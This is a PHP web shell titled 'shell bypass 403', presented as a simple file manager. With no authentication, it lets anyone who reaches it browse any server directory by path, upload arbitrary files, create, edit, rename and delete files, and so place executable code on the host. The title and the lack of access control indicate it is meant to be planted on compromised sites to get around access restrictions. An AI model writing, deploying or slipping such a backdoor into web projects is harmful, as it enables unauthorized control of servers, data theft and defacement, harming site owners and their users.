shell bypass 403
<?php
// Show errors during development
ini_set('display_errors', 1);
error_reporting(E_ALL);
// Safely get current directory
function getSafeCurrentDir() {
$path = $_GET['path'] ?? getcwd();
$real = realpath($path);
return $real && is_dir($real) ? $real : getcwd();
}
$currentDir = getSafeCurrentDir();
$item = $_GET['item'] ?? '';
$itemPath = rtrim($currentDir, '/\\') . '/' . $item;
// ────────────────────────────────────────────────
// HEADER
// ────────────────────────────────────────────────
function renderHeader($dir) {
$parent = dirname($dir);
?>
<div class="header">
<strong>Current folder:</strong> <?= htmlspecialchars($dir) ?>
<a href="?path=<?= urlencode($parent) ?>" class="btn up">↑ Go up</a>
</div>
<?php
}
// ────────────────────────────────────────────────
// DIRECTORY LISTING
// ────────────────────────────────────────────────
function listDirectory($dir) {
$items = array_diff(scandir($dir), ['.', '..']);
?>
<ul class="file-list">
<?php foreach ($items as $name):
$full = $dir . '/' . $name;
if (is_dir($full)): ?>
<li class="folder">
📁 <a href="?path=<?= urlencode($full) ?>"><?= htmlspecialchars($name) ?></a>
</li>
<?php else: ?>
<li class="file">
📄 <?= htmlspecialchars($name) ?>
<span class="actions">
<a href="?path=<?= urlencode($dir) ?>&action=edit&item=<?= urlencode($name) ?>">edit</a> |
<a href="?path=<?= urlencode($dir) ?>&action=rename&item=<?= urlencode($name) ?>">rename</a> |
<a href="?path=<?= urlencode($dir) ?>&action=delete&item=<?= urlencode($name) ?>"
onclick="return confirm('Are you sure you want to delete this?')">delete</a>
</span>
</li>
<?php endif;
endforeach; ?>
</ul>
<?php
}
// ────────────────────────────────────────────────
// UPLOAD
// ────────────────────────────────────────────────
function handleUpload($dir) {
if (empty($_FILES['file']['name'])) return;
$name = basename($_FILES['file']['name']);
$target = rtrim($dir, '/\\') . '/' . $name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo '<p class="msg success">File uploaded: ' . htmlspecialchars($name) . '</p>';
} else {
echo '<p class="msg error">Upload failed</p>';
}
}
// ────────────────────────────────────────────────
// CREATE FOLDER
// ────────────────────────────────────────────────
function handleCreateFolder($dir) {
if (empty($_POST['folder_name'])) return;
$name = trim($_POST['folder_name']);
if ($name === '') return;
$path = rtrim($dir, '/\\') . '/' . $name;
if (!file_exists($path) && mkdir($path, 0755, true)) {
echo '<p class="msg success">Folder created</p>';
}
}
// ────────────────────────────────────────────────
// CREATE FILE
// ────────────────────────────────────────────────
function handleCreateFile($dir) {
if (empty($_POST['file_name'])) return;
$name = trim($_POST['file_name']);
$content = $_POST['file_content'] ?? '';
$path = rtrim($dir, '/\\') . '/' . $name;
if (!file_exists($path)) {
file_put_contents($path, $content);
echo '<p class="msg success">File created</p>';
}
}
// ────────────────────────────────────────────────
// EDIT FILE
// ────────────────────────────────────────────────
function editFile($path) {
if (isset($_POST['content'])) {
file_put_contents($path, $_POST['content']);
echo '<p class="msg success">Changes saved</p>';
}
$content = file_exists($path) ? htmlspecialchars(file_get_contents($path)) : '';
?>
<div class="card">
<h3>Editing: <?= htmlspecialchars(basename($path)) ?></h3>
<form method="post">
<textarea name="content"><?= $content ?></textarea>
<div class="form-actions">
<button type="submit" class="btn save">Save</button>
<a href="?path=<?= urlencode(dirname($path)) ?>" class="btn cancel">Cancel</a>
</div>
</form>
</div>
<?php
}
// ────────────────────────────────────────────────
// DELETE
// ────────────────────────────────────────────────
function deleteItem($path) {
if (!file_exists($path)) return;
if (is_dir($path)) {
// Only empty directories allowed (simple safety)
if (count(scandir($path)) === 2) {
rmdir($path);
echo '<p class="msg success">Folder deleted</p>';
} else {
echo '<p class="msg error">Folder is not empty</p>';
}
} else {
unlink($path);
echo '<p class="msg success">File deleted</p>';
}
}
// ────────────────────────────────────────────────
// RENAME
// ────────────────────────────────────────────────
function renameItem($oldPath) {
if (isset($_POST['new_name'])) {
$newName = trim($_POST['new_name']);
if ($newName !== '') {
$newPath = dirname($oldPath) . '/' . $newName;
if (rename($oldPath, $newPath)) {
echo '<p class="msg success">Renamed successfully</p>';
} else {
echo '<p class="msg error">Rename failed</p>';
}
}
}
$currentName = basename($oldPath);
?>
<div class="card">
<h3>Rename: <?= htmlspecialchars($currentName) ?></h3>
<form method="post">
<input type="text" name="new_name" value="<?= htmlspecialchars($currentName) ?>" required>
<div class="form-actions">
<button type="submit" class="btn">Rename</button>
<a href="?path=<?= urlencode(dirname($oldPath)) ?>" class="btn cancel">Cancel</a>
</div>
</form>
</div>
<?php
}
// ────────────────────────────────────────────────
// PROCESS ACTIONS
// ────────────────────────────────────────────────
handleUpload($currentDir);
handleCreateFolder($currentDir);
handleCreateFile($currentDir);
$action = $_GET['action'] ?? '';
if ($action && $item && file_exists($itemPath)) {
echo '<div class="back"><a href="?path=' . urlencode($currentDir) . '">← Back</a></div>';
switch ($action) {
case 'edit': editFile($itemPath); break;
case 'delete': deleteItem($itemPath); break;
case 'rename': renameItem($itemPath); break;
}
} else {
// Main view
renderHeader($currentDir);
listDirectory($currentDir);
?>
<div class="card">
<h3>Upload File</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</div>
<div class="card">
<h3>Create Folder</h3>
<form method="post">
<input type="text" name="folder_name" placeholder="folder name" required>
<button type="submit">Create</button>
</form>
</div>
<div class="card">
<h3>Create New File</h3>
<form method="post">
<input type="text" name="file_name" placeholder="example.txt" required>
<textarea name="file_content" placeholder="File content..."></textarea>
<button type="submit">Create</button>
</form>
</div>
<?php
}
?>
<!-- Minimal styling -->
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, sans-serif;
max-width: 980px;
margin: 2rem auto;
line-height: 1.5;
}
.header {
margin: 1.5rem 0;
font-size: 1.3rem;
}
.btn {
color: #0066cc;
text-decoration: none;
font-weight: 500;
margin-left: 1rem;
}
.up {
background: #f0f5ff;
padding: 0.4rem 1rem;
border-radius: 6px;
}
.file-list {
list-style: none;
padding: 0;
}
.file-list li {
padding: 0.6rem 0;
border-bottom: 1px solid #eee;
}
.folder a {
font-weight: 600;
color: #1d4ed8;
}
.actions {
font-size: 0.9rem;
margin-left: 1.2rem;
color: #555;
}
.actions a {
color: #444;
}
.card {
background: #fafafa;
border: 1px solid #e0e0e0;
border-radius: 10px;
padding: 1.4rem;
margin: 1.8rem 0;
}
input[type="text"], input[type="file"], textarea {
width: 100%;
padding: 0.7rem;
margin: 0.5rem 0;
box-sizing: border-box;
border: 1px solid #ccc;
border-radius: 6px;
font-family: monospace;
}
textarea {
min-height: 280px;
font-size: 0.95rem;
}
button {
background: #2563eb;
color: white;
border: none;
padding: 0.7rem 1.4rem;
border-radius: 6px;
cursor: pointer;
}
button:hover {
background: #1d4ed8;
}
.msg {
padding: 0.8rem;
border-radius: 6px;
margin: 1rem 0;
}
.success { background: #ecfdf5; color: #065f46; }
.error { background: #fee2e2; color: #991b1b; }
.back { margin: 1.2rem 0; font-size: 1.1rem; }
.form-actions { margin-top: 1rem; }
.cancel { margin-left: 1rem; color: #666; }
</style>